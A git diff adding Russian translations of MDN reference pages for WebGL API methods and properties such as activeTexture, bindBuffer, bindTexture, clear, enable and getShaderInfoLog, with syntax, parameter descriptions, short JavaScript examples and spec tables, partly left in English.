Смотрите {{domxref("WebGLShader")}} для информации о том, как создать vertexShader и fragmentShader в примере выше.

+ +

Примеры

+ +

Использование программы

+ +

Шаги для того, чтобы сделать какую-то работу с программой, включают сообщение GPU об использовании программы, связывание соответствующих данных и параметров конфигурации и наконец отрисовку чего-то на экране.

+ +
// Использование программы
+gl.useProgram(program);
+
+// Связывание существующих аттрибутов данных
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+gl.enableVertexAttribArray(attributeLocation);
+gl.vertexAttribPointer(attributeLocation, 3, gl.FLOAT, false, 0, 0);
+
+// Отрисовка простого треугольника
+gl.drawArrays(gl.TRIANGLES, 0, 3);
+
+ +

Удаление программы

+ +

Если существует ошибка связывания программы или вы хотите удалить существующую программу, тогда это так же просто, как запустить {{domxref("WebGLRenderingContext.deleteProgram()")}}. Это освободит память от связанной программы.

+ +
gl.deleteProgram(program);
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.6", "WebGLProgram")}}{{Spec2('WebGL')}}Initial definition.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api/WebGLProgram", "WebGLProgram")}}

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/webglrenderingcontext/activetexture/index.html b/files/ru/web/api/webglrenderingcontext/activetexture/index.html new file mode 100644 index 0000000000..06b71db1a1 --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/activetexture/index.html @@ -0,0 +1,81 @@ +--- +title: WebGLRenderingContext.activeTexture() +slug: Web/API/WebGLRenderingContext/activeTexture +translation_of: Web/API/WebGLRenderingContext/activeTexture +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.activeTexture() метод WebGL API указывает какую текстуру сделать активной.

+ +

Синтаксис

+ +
void gl.activeTexture(texture);
+
+ +

Параметры

+ +
+
texture
+
Номер текстуры которую необходимо активировать. Значение gl.TEXTUREI где I значение в диапозоне от 0 до gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1.
+
+ +

Возвращаемое значение

+ +

None.

+ +

Исключения

+ +

Если texture не относится к gl.TEXTUREI, где I значение в диапозоне от 0 до gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1, то получаем исключение gl.INVALID_ENUM .

+ +

Примеры

+ +

Вызов со значением gl.TEXTURE1 выберет текстуру в качестве текущей. Последующие вызовы будут изменять эту текстуру.

+ +
gl.activeTexture(gl.TEXTURE1);
+
+ +

Количество текстур зависит от реализации, вы можете получить количество текстур с помощью константы MAX_COMBINED_TEXTURE_IMAGE_UNITS. Согласно спецификации не менее 8.

+ +
gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS);
+
+ +

чтобы получить текущую активную текстуру вызовите gl.getParameter с константой ACTIVE_TEXTURE.

+ +
gl.activeTexture(gl.TEXTURE0);
+gl.getParameter(gl.ACTIVE_TEXTURE);
+// вернет "33984" (0x84C0, gl.TEXTURE0 enum value)
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('WebGL', "#5.14.3", "activeTexture")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glActiveTexture.xml", "glActiveTexture")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WebGLRenderingContext.activeTexture")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/webglrenderingcontext/bindbuffer/index.html b/files/ru/web/api/webglrenderingcontext/bindbuffer/index.html new file mode 100644 index 0000000000..bb65be620b --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/bindbuffer/index.html @@ -0,0 +1,121 @@ +--- +title: WebGLRenderingContext.bindBuffer() +slug: Web/API/WebGLRenderingContext/bindBuffer +translation_of: Web/API/WebGLRenderingContext/bindBuffer +--- +
{{APIRef("WebGL")}}
+ +

ebGLRenderingContext.bindBuffer() метод WebGL API связывает {{domxref("WebGLBuffer")}} c точкой связывания(Атрибут регистром).

+ +

Синтаксис

+ +
void gl.bindBuffer(target, buffer);
+
+ +

Параметры

+ +
+
target
+
{{domxref("GLenum")}} определяет точку связывания (target). Возможные значения: +
    +
  • gl.ARRAY_BUFFER: Буфер содержащий вершинные атрибуты, такие как координаты, текстурные коориднаты(UV) или цвет вершины.
    • +
  • gl.ELEMENT_ARRAY_BUFFER: Буфер использующий для индексирования элементов.
    • +
  • When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally: +
      +
    • gl.COPY_READ_BUFFER: Buffer for copying from one buffer object to another.
      • +
    • gl.COPY_WRITE_BUFFER: Buffer for copying from one buffer object to another.
      • +
    • gl.TRANSFORM_FEEDBACK_BUFFER: Buffer for transform feedback operations.
      • +
    • gl.UNIFORM_BUFFER: Buffer used for storing uniform blocks.
      • +
    • gl.PIXEL_PACK_BUFFER: Buffer used for pixel transfer operations.
      • +
    • gl.PIXEL_UNPACK_BUFFER: Buffer used for pixel transfer operations.
      • +
    +
    • +
+
+
buffer
+
{{domxref("WebGLBuffer")}} с которым осуществляется связывание.
+
+ +

Return value

+ +

Нет.

+ +

Exceptions

+ +

Only one target can be bound to a given {{domxref("WebGLBuffer")}}. An attempt to bind the buffer to another target will throw an INVALID_OPERATION error and the current buffer binding will remain the same.

+ +

Examples

+ +

Binding a buffer to a target

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createBuffer();
+
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+
+ +

Getting current bindings

+ +

To check the current buffer bindings, query the ARRAY_BUFFER_BINDING and ELEMENT_ARRAY_BUFFER_BINDING constants.

+ +
gl.getParameter(gl.ARRAY_BUFFER_BINDING);
+gl.getParameter(gl.ELEMENT_ARRAY_BUFFER_BINDING);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.5", "bindBuffer")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glBindBuffer.xml", "glBindBuffer")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL ES 2 API.
{{SpecName('WebGL2', "#3.7.1", "bindBuffer")}}{{Spec2('WebGL2')}} +

Updated definition for WebGL 2.

+ +

Adds new target buffers:
+ gl.COPY_READ_BUFFER,
+ gl.COPY_WRITE_BUFFER,
+ gl.TRANSFORM_FEEDBACK_BUFFER,
+ gl.UNIFORM_BUFFER,
+ gl.PIXEL_PACK_BUFFER,
+ gl.PIXEL_UNPACK_BUFFER

+
{{SpecName('OpenGL ES 3.0', "glBindBuffer.xhtml", "glBindBuffer")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL ES 3 API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.bindBuffer")}}

+ +

See also

+ + diff --git a/files/ru/web/api/webglrenderingcontext/bindtexture/index.html b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html new file mode 100644 index 0000000000..522a73c1c9 --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/bindtexture/index.html @@ -0,0 +1,110 @@ +--- +title: WebGLRenderingContext.bindTexture() +slug: Web/API/WebGLRenderingContext/bindTexture +translation_of: Web/API/WebGLRenderingContext/bindTexture +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.bindTexture() метод WebGL API связывает {{domxref("WebGLTexture")}} с target.

+ +

Синтаксис

+ +
void gl.bindTexture(target, texture);
+
+ +

Параметры

+ +
+
target
+
{{domxref("GLenum")}} указывает тип объекта texture для связывания. Возможные значения: +
    +
  • gl.TEXTURE_2D: двухмерная текстура.
    • +
  • gl.TEXTURE_CUBE_MAP: кубическая текстура.
    • +
  • При использовании {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, дополнительно доступны: +
      +
    • gl.TEXTURE_3D: трехмерная текстура.
      • +
    • gl.TEXTURE_2D_ARRAY: массив двумерных текстур.
      • +
    +
    • +
+
+
texture
+
{{domxref("WebGLTexture")}} объект связывания
+
+ +

Возвращаемое значение

+ +

None.

+ +

Исключения

+ +

gl.INVALID_ENUM исключение если target неgl.TEXTURE_2D, gl.TEXTURE_CUBE_MAP, gl.TEXTURE_3D, или gl.TEXTURE_2D_ARRAY.

+ +

Примеры

+ +

Привязчка текстуры

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var texture = gl.createTexture();
+
+gl.bindTexture(gl.TEXTURE_2D, texture);
+
+ +

Получить текущую привязку

+ +

Для проверки текущей привязки текстуры, вызовитеgl.TEXTURE_BINDING_2D или gl.TEXTURE_BINDING_CUBE_MAP.

+ +
gl.getParameter(gl.TEXTURE_BINDING_2D);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('WebGL', "#5.14.8", "bindTexture")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glBindTexture.xml", "glBindTexture")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL ES 2.0 API.
{{SpecName('WebGL2', "#3.7.1", "bindTexture")}}{{Spec2('WebGL2')}}Updated definition for WebGL 2.
+ Adds: gl.TEXTURE_3D and gl.TEXTURE_2D_ARRAY
{{SpecName('OpenGL ES 3.0', "glBindTexture.xhtml", "glBindTexture")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL ES 3.0 API.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WebGLRenderingContext.bindTexture")}}

+ +

Смотрите также

+ + + + diff --git a/files/ru/web/api/webglrenderingcontext/canvas/index.html b/files/ru/web/api/webglrenderingcontext/canvas/index.html new file mode 100644 index 0000000000..7b76f9885b --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/canvas/index.html @@ -0,0 +1,70 @@ +--- +title: WebGLRenderingContext.canvas +slug: Web/API/WebGLRenderingContext/canvas +translation_of: Web/API/WebGLRenderingContext/canvas +--- +
{{APIRef("WebGL")}}
+ +

Свойство WebGLRenderingContext.canvas доступно только для чтения. Возвращает ссылку на объекты {{domxref("HTMLCanvasElement")}} или {{domxref("OffscreenCanvas")}} связанные с установленным контекстом отрисовки. Если объект {{HTMLElement("canvas")}} или  {{domxref("OffscreenCanvas")}} не связан с контекстом, то возвращается значение {{jsxref("null")}}.

+ +

Syntax

+ +
gl.canvas;
+ +

Return value

+ +

Either a {{domxref("HTMLCanvasElement")}} or {{domxref("OffscreenCanvas")}} object or {{jsxref("null")}}.

+ +

Examples

+ +

Canvas element

+ +

Given this {{HTMLElement("canvas")}} element:

+ +
<canvas id="canvas"></canvas>
+
+ +

You can get back a reference to it from the WebGLRenderingContext using the canvas property:

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+gl.canvas; // HTMLCanvasElement
+
+ +

Offscreen canvas

+ +

Example using the experimental {{domxref("OffscreenCanvas")}} object.

+ +
var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext('webgl');
+gl.canvas; // OffscreenCanvas
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#DOM-WebGLRenderingContext-canvas", "WebGLRenderingContext.canvas")}}{{Spec2('WebGL')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.canvas")}}

+ +

See also

+ + diff --git a/files/ru/web/api/webglrenderingcontext/clear/index.html b/files/ru/web/api/webglrenderingcontext/clear/index.html new file mode 100644 index 0000000000..3c4d1db864 --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/clear/index.html @@ -0,0 +1,89 @@ +--- +title: WebGLRenderingContext.clear() +slug: Web/API/WebGLRenderingContext/clear +translation_of: Web/API/WebGLRenderingContext/clear +--- +
{{APIRef("WebGL")}}
+ +

Метод WebGLRenderingContext.clear() из библиотеки WebGL API очищает буфер заданными значениями.

+ +

Заданные значения могут быть установлены {{domxref("WebGLRenderingContext.clearColor", "clearColor()")}}, {{domxref("WebGLRenderingContext.clearDepth", "clearDepth()")}} или {{domxref("WebGLRenderingContext.clearStencil", "clearStencil()")}}.

+ +

The scissor box, dithering, and buffer writemasks can affect the clear() method.

+ +

Синтаксис

+ +
void gl.clear(mask);
+
+ +

Параметры

+ +
+
mask
+
Побитовая маска ИЛИ {{domxref("GLbitfield")}} указывает какие конкретно буферы нужно очистить. Возможные значения: +
    +
  • gl.COLOR_BUFFER_BIT
    • +
  • gl.DEPTH_BUFFER_BIT
    • +
  • gl.STENCIL_BUFFER_BIT
    • +
+
+
+ +

Возвращаемое значение

+ +

Ничего.

+ +

Исключения

+ +

Если mask не является ни одним из перечисленных значений, то генерируется ошибка gl.INVALID_ENUM.

+ +

Примеры

+ +

Метод clear() принимает несколько значений.

+ +
gl.clear(gl.DEPTH_BUFFER_BIT);
+gl.clear(gl.DEPTH_BUFFER_BIT | gl.COLOR_BUFFER_BIT);
+
+ +

Чтобы получить текущее значение очистки буфера, нужно воспользоваться следующими константами: COLOR_CLEAR_VALUE, DEPTH_CLEAR_VALUE, и STENCIL_CLEAR_VALUE.

+ +
gl.getParameter(gl.COLOR_CLEAR_VALUE);
+gl.getParameter(gl.DEPTH_CLEAR_VALUE);
+gl.getParameter(gl.STENCIL_CLEAR_VALUE);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('WebGL', "#5.14.11", "clear")}}{{Spec2('WebGL')}}Изначальное определение
{{SpecName('OpenGL ES 2.0', "glClear.xml", "glClear")}}{{Spec2('OpenGL ES 2.0')}}Справочная страница OpenGL API.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WebGLRenderingContext.clear")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/webglrenderingcontext/clearcolor/index.html b/files/ru/web/api/webglrenderingcontext/clearcolor/index.html new file mode 100644 index 0000000000..97e648eb7f --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/clearcolor/index.html @@ -0,0 +1,79 @@ +--- +title: WebGLRenderingContext.clearColor() +slug: Web/API/WebGLRenderingContext/clearColor +translation_of: Web/API/WebGLRenderingContext/clearColor +--- +
{{APIRef("WebGL")}}
+ +

Метод WebGLRenderingContext.clearColor() из WebGL API определяет значения, используемые для задания цвета во время очистки буферов цвета.

+ +

This specifies what color values to use when calling the {{domxref("WebGLRenderingContext.clear", "clear()")}} method. Эти значения находятся в пределах от 0 до 1.

+ +

Syntax

+ +
void gl.clearColor(red, green, blue, alpha);
+
+ +

Parameters

+ +
+
red
+
A {{domxref("GLclampf")}} specifying the red color value used when the color buffers are cleared. Default value: 0.
+
green
+
A {{domxref("GLclampf")}} specifying the green color value used when the color buffers are cleared. Default value: 0.
+
blue
+
A {{domxref("GLclampf")}} specifying the blue color value used when the color buffers are cleared. Default value: 0.
+
alpha
+
A {{domxref("GLclampf")}} specifying the alpha (transparency) value used when the color buffers are cleared. Default value: 0.
+
+ +

Return value

+ +

None.

+ +

Examples

+ +
gl.clearColor(1, 0.5, 0.5, 3);
+
+ +

To get the current clear color, query the COLOR_CLEAR_VALUE constant which returns a {{jsxref("Float32Array")}}.

+ +
gl.getParameter(gl.COLOR_CLEAR_VALUE);
+// Float32Array[1, 0.5, 0.5, 1]
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "clearColor")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glClearColor.xml", "glClearColor")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.clearColor")}}

+ +

See also

+ + diff --git a/files/ru/web/api/webglrenderingcontext/compileshader/index.html b/files/ru/web/api/webglrenderingcontext/compileshader/index.html new file mode 100644 index 0000000000..9ecb9bd735 --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/compileshader/index.html @@ -0,0 +1,81 @@ +--- +title: WebGLRenderingContext.compileShader() +slug: Web/API/WebGLRenderingContext/compileShader +translation_of: Web/API/WebGLRenderingContext/compileShader +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.compileShader() метод WebGL API компилирующий исходный код GLSL шейдера в бинарные данные для использования программой  {{domxref("WebGLProgram")}}.

+ +

Синтаксис

+ +
void gl.compileShader(shader);
+
+ +

Параметры

+ +
+
shader
+
Вершинный или фрагментный шейдер {{domxref("WebGLShader")}}.
+
+ +

Примеры

+ +
var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, shaderSource);
+gl.compileShader(shader);
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('WebGL', "#5.14.9", "compileShader")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glCompileShader.xml", "glCompileShader")}}{{Spec2('OpenGL ES 2.0')}}OpenGL man page.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WebGLRenderingContext.compileShader")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/webglrenderingcontext/enable/index.html b/files/ru/web/api/webglrenderingcontext/enable/index.html new file mode 100644 index 0000000000..d7cc40db94 --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/enable/index.html @@ -0,0 +1,139 @@ +--- +title: WebGLRenderingContext.enable() +slug: Web/API/WebGLRenderingContext/enable +translation_of: Web/API/WebGLRenderingContext/enable +--- +
{{APIRef("WebGL")}}
+ +

Метод WebGLRenderingContext.enable() из WebGL API активирует определенные возможности WebGL для текущего контекста.

+ +

Синтаксис

+ +
void gl.enable(cap);
+
+ +

Параметры

+ +
+
cap
+
A {{domxref("GLenum")}} specifying which WebGL capability to enable. Possible values:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КонстантаОписание
gl.BLENDАктивирует смешение значений цветов вычисленного фрагмента. Смотри {{domxref("WebGLRenderingContext.blendFunc()")}}.
gl.CULL_FACEАктивирует отбраковку полигонов. Смотри {{domxref("WebGLRenderingContext.cullFace()")}}.
gl.DEPTH_TESTАктивирует сравнения глубин и обновления для буфера глубины. Смотри {{domxref("WebGLRenderingContext.depthFunc()")}}.
gl.DITHERActivates dithering of color components before they get written to the color buffer.
gl.POLYGON_OFFSET_FILLActivates adding an offset to depth values of polygon's fragments. See {{domxref("WebGLRenderingContext.polygonOffset()")}}.
gl.SAMPLE_ALPHA_TO_COVERAGEActivates the computation of a temporary coverage value determined by the alpha value.
gl.SAMPLE_COVERAGEActivates ANDing the fragment's coverage with the temporary coverage value. See {{domxref("WebGLRenderingContext.sampleCoverage()")}}.
gl.SCISSOR_TESTActivates the scissor test that discards fragments that are outside of the scissor rectangle. See {{domxref("WebGLRenderingContext.scissor()")}}.
gl.STENCIL_TESTActivates stencil testing and updates to the stencil buffer. See {{domxref("WebGLRenderingContext.stencilFunc()")}}.
+ When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally: + + + + + + + + + + + + + + +
ConstantDescription
gl.RASTERIZER_DISCARDPrimitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage. gl.clear() commands are ignored.
+
+
+ +

Return value

+ +

None.

+ +

Examples

+ +
gl.enable(gl.DITHER);
+
+ +

To check if a capability is enabled, use the {{domxref("WebGLRenderingContext.isEnabled()")}} method:

+ +
gl.isEnabled(gl.DITHER);
+// true
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "enable")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glEnable.xml", "glEnable")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL ES 2.0 API.
{{SpecName('OpenGL ES 3.0', "glEnable.xhtml", "glEnable")}}{{Spec2('OpenGL ES 3.0')}}Man page of the OpenGL ES 3.0 API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.enable")}}

+ +

See also

+ + diff --git a/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html new file mode 100644 index 0000000000..f05a98534f --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/getshaderinfolog/index.html @@ -0,0 +1,77 @@ +--- +title: WebGLRenderingContext.getShaderInfoLog() +slug: Web/API/WebGLRenderingContext/getShaderInfoLog +translation_of: Web/API/WebGLRenderingContext/getShaderInfoLog +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.getShaderInfoLog возвращает логи для указаной шейдерной программы {{domxref("WebGLShader")}}. Оно содержит предупреждения, информацию для отладки и информацию о компиляции.

+ +

Синтаксис

+ +
gl.getShaderInfoLog(shader);
+ +

Параметры

+ +
+
shader
+
Шейдер {{domxref("WebGLShader")}} чьи логи мы запрашиваем.
+
+ +

Возвращаемое значение

+ +

{{domxref("DOMString")}} может содержать диагностические сообщения, предупреждения и другую информацию о последней операции компиляции. Когда {{domxref("WebGLShader")}} объект создан, его информационный журнал будет строкой длинной 0.

+ +

Примеры

+ +

Проверить сообщения компиляции

+ +
/* Загружаем исходный код программы. */
+gl.shaderSource(shader, shaderCode);
+
+/* Компилируем программу. */
+gl.compileShader(shader);
+
+/* Получаем список сообщений */
+var message = gl.getShaderInfoLog(shader);
+
+if (message.length > 0) {
+  /* Сообщение может быть ошибкой или предупреждением */
+  throw message;
+}
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('WebGL', "#5.14.9", "getShaderInfoLog")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glGetShaderInfoLog.xml", "glGetShaderInfoLog")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.WebGLRenderingContext.getShaderInfoLog")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/webglrenderingcontext/index.html b/files/ru/web/api/webglrenderingcontext/index.html new file mode 100644 index 0000000000..338784a8a1 --- /dev/null +++ b/files/ru/web/api/webglrenderingcontext/index.html @@ -0,0 +1,441 @@ +--- +title: WebGLRenderingContext +slug: Web/API/WebGLRenderingContext +translation_of: Web/API/WebGLRenderingContext +--- +
{{APIRef("WebGL")}}
+ +

Интерфейс WebGLRenderingContext обеспечивает доступ к контексту рендеринга OpenGL ES 2.0 (OpenGL for Embedded Systems — OpenGL для встраиваемых систем) для использования его с помощью  HTML {{HTMLElement("canvas")}} элемента.

+ +

Чтобы получить объект с помощью этого интерфейса вызовите метод {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} элемена  <canvas> , используя "webgl" в качестве аргумента.

+ +
var canvas = document.getElementById('myCanvas');
+var gl = canvas.getContext('webgl');
+
+ +

После того, как вы  получили  WebGL контекст, вы можете его использовать для рендеринга.

+ +

 WebGL tutorial содержит больше информации, примеров, ссылок на ресурсы которые помогут  начать использовать  WebGL.

+ +

Константы

+ +

Смотрите на WebGL constants.

+ +

 WebGL контекст

+ +

Ниже перечислены свойства и методы которые дают общую информацию и функциональность при работе с WebGL контекстом:

+ +
+
{{domxref("WebGLRenderingContext.canvas")}}
+
 Доступная только для чтения обратная ссылка на {{domxref("HTMLCanvasElement")}}. Может быть  {{jsxref("null")}} если будет применятся в контексте элемента иного типа чем  {{HTMLElement("canvas")}}.
+
{{domxref("WebGLRenderingContext.commit()")}} {{experimental_inline}}
+
+

Вставляет окна в первоначальный {{domxref("HTMLCanvasElement")}} , если контекст не привязан к конкретному холсту.

+
+
{{domxref("WebGLRenderingContext.drawingBufferWidth")}}
+
Доступная только для чтения ширина текущего буфера отрисовки. Должна совпадать с шириной холста связанного с данным  контекстом.
+
{{domxref("WebGLRenderingContext.drawingBufferHeight")}}
+
Доступная только для чтения высота текущего буфера отрисовки. Должна совпадать с высотой холста связанного с данным  контекстом.
+
{{domxref("WebGLRenderingContext.getContextAttributes()")}}
+
Возвращает WebGLContextAttributes объект который содержит атрибуты текущего контекста. Может возвращать {{jsxref("null")}} если контекст утерян. 
+
{{domxref("WebGLRenderingContext.isContextLost()")}}
+
Возвращает true если контекст утерян, в противном случае возвращает false.
+
+ +

Просмотр и обрезка

+ +
+
{{domxref("WebGLRenderingContext.scissor()")}}
+
Устанавливает обрезанный контейнер.
+
{{domxref("WebGLRenderingContext.viewport()")}}
+
Устанавливает окно просмотра.
+
+ +

Информация о состоянии

+ +
+
{{domxref("WebGLRenderingContext.activeTexture()")}}
+
Выбирает активную текстуру.
+
{{domxref("WebGLRenderingContext.blendColor()")}}
+
Устанавливает параметры смешивания источника и назначения
+
{{domxref("WebGLRenderingContext.blendEquation()")}}
+
 Уравнение смешивания RGB и уравнение альфа-смешивания сводит к одному  уравнению.
+
+ +

{{domxref("WebGLRenderingContext.blendEquationSeparate()")}} 

+ +

Устанавливает уравнение смешивания RGB и уравнение alpha  смешивания  отдельно.

+ +
+
{{domxref("WebGLRenderingContext.blendFunc()")}}
+
Определяет, какая арифметическая функция используется для смешивания пикселей.
+
{{domxref("WebGLRenderingContext.blendFuncSeparate()")}}
+
Определяет, какая арифметическая функция используется для смешивания пикселей для RGB и альфа-компонентов по отдельности.
+
{{domxref("WebGLRenderingContext.clearColor()")}}
+
Задает значения цвета, используемые при очистке цветовых буферов.
+
{{domxref("WebGLRenderingContext.clearDepth()")}}
+
Задает значение глубины, используемый при очистке буфера глубины.
+
{{domxref("WebGLRenderingContext.clearStencil()")}}
+
Задает значение шаблона, используемый при очистке буфера шаблона.
+
{{domxref("WebGLRenderingContext.colorMask()")}}
+
Устанавливает какие цветовые компоненты для включены или выключены при отрисовке или рендеринге на{{domxref("WebGLFramebuffer")}}.
+
{{domxref("WebGLRenderingContext.cullFace()")}}
+
Определяет, будет видима или нет передняя- и / или обратная сторона многоугольника.
+
{{domxref("WebGLRenderingContext.depthFunc()")}}
+
Определяет функцию, которая сравнивает входящую глубину пикселей к текущему значению глубины буфера.
+
{{domxref("WebGLRenderingContext.depthMask()")}}
+
Включает или выключает запись в буфер глубины.
+
{{domxref("WebGLRenderingContext.depthRange()")}}
+
Определяет диапазон отображения глубины согласно стандартных координат  к координатам окна устройства.
+
{{domxref("WebGLRenderingContext.disable()")}}
+
Отключает конкретные возможности WebGL.
+
{{domxref("WebGLRenderingContext.enable()")}}
+
Включает конкретные возможности WebGL.
+
{{domxref("WebGLRenderingContext.frontFace()")}}
+
Определяет видимость  передней или задней стороны  многоугольника, при его вращении.
+
{{domxref("WebGLRenderingContext.getParameter()")}}
+
Возвращает значение переданного параметра по имени.
+
{{domxref("WebGLRenderingContext.getError()")}}
+
Возвращает информацию об ошибках.
+
{{domxref("WebGLRenderingContext.hint()")}}
+
Указывает подсказки для определенного поведения. Интерпретация этих подсказок зависит от реализации.
+
{{domxref("WebGLRenderingContext.isEnabled()")}}
+
Проверяет,  включена или нет конкретная способность WebG.
+
{{domxref("WebGLRenderingContext.lineWidth()")}}
+
Устанавливает ширину  растровой линии.
+
{{domxref("WebGLRenderingContext.pixelStorei()")}}
+
Определяет режимы хранилища пикселей
+
{{domxref("WebGLRenderingContext.polygonOffset()")}}
+
Определяет факторы масштабирования  и единицы для расчета значения глубины.
+
{{domxref("WebGLRenderingContext.sampleCoverage()")}}
+
Определяет составные параметры  для сглаживания эффектов.
+
{{domxref("WebGLRenderingContext.stencilFunc()")}}
+
Sets the both front and back function and reference value for stencil testing.
+
{{domxref("WebGLRenderingContext.stencilFuncSeparate()")}}
+
Sets the front and/or back function and reference value for stencil testing.
+
{{domxref("WebGLRenderingContext.stencilMask()")}}
+
Controls enabling and disabling of both the front and back writing of individual bits in the stencil planes.
+
{{domxref("WebGLRenderingContext.stencilMaskSeparate()")}}
+
Controls enabling and disabling of front and/or back writing of individual bits in the stencil planes.
+
{{domxref("WebGLRenderingContext.stencilOp()")}}
+
Sets both the front and back-facing stencil test actions.
+
{{domxref("WebGLRenderingContext.stencilOpSeparate()")}}
+
Sets the front and/or back-facing stencil test actions.
+
+ +

Buffers

+ +
+
{{domxref("WebGLRenderingContext.bindBuffer()")}}
+
Binds a WebGLBuffer object to a given target.
+
{{domxref("WebGLRenderingContext.bufferData()")}}
+
Updates buffer data.
+
{{domxref("WebGLRenderingContext.bufferSubData()")}}
+
Updates buffer data starting at a passed offset.
+
{{domxref("WebGLRenderingContext.createBuffer()")}}
+
Creates a WebGLBuffer object.
+
{{domxref("WebGLRenderingContext.deleteBuffer()")}}
+
Deletes a WebGLBuffer object.
+
{{domxref("WebGLRenderingContext.getBufferParameter()")}}
+
Returns information about the buffer.
+
{{domxref("WebGLRenderingContext.isBuffer()")}}
+
Returns a Boolean indicating if the passed buffer is valid.
+
+ +

Framebuffers

+ +
+
{{domxref("WebGLRenderingContext.bindFramebuffer()")}}
+
Binds a WebGLFrameBuffer object to a given target.
+
{{domxref("WebGLRenderingContext.checkFramebufferStatus()")}}
+
Returns the status of the framebuffer.
+
{{domxref("WebGLRenderingContext.createFramebuffer()")}}
+
Creates a WebGLFrameBuffer object.
+
{{domxref("WebGLRenderingContext.deleteFramebuffer()")}}
+
Deletes a WebGLFrameBuffer object.
+
{{domxref("WebGLRenderingContext.framebufferRenderbuffer()")}}
+
Attaches a WebGLRenderingBuffer object to a WebGLFrameBuffer object.
+
{{domxref("WebGLRenderingContext.framebufferTexture2D()")}}
+
Attaches a textures image to a WebGLFrameBuffer object.
+
{{domxref("WebGLRenderingContext.getFramebufferAttachmentParameter()")}}
+
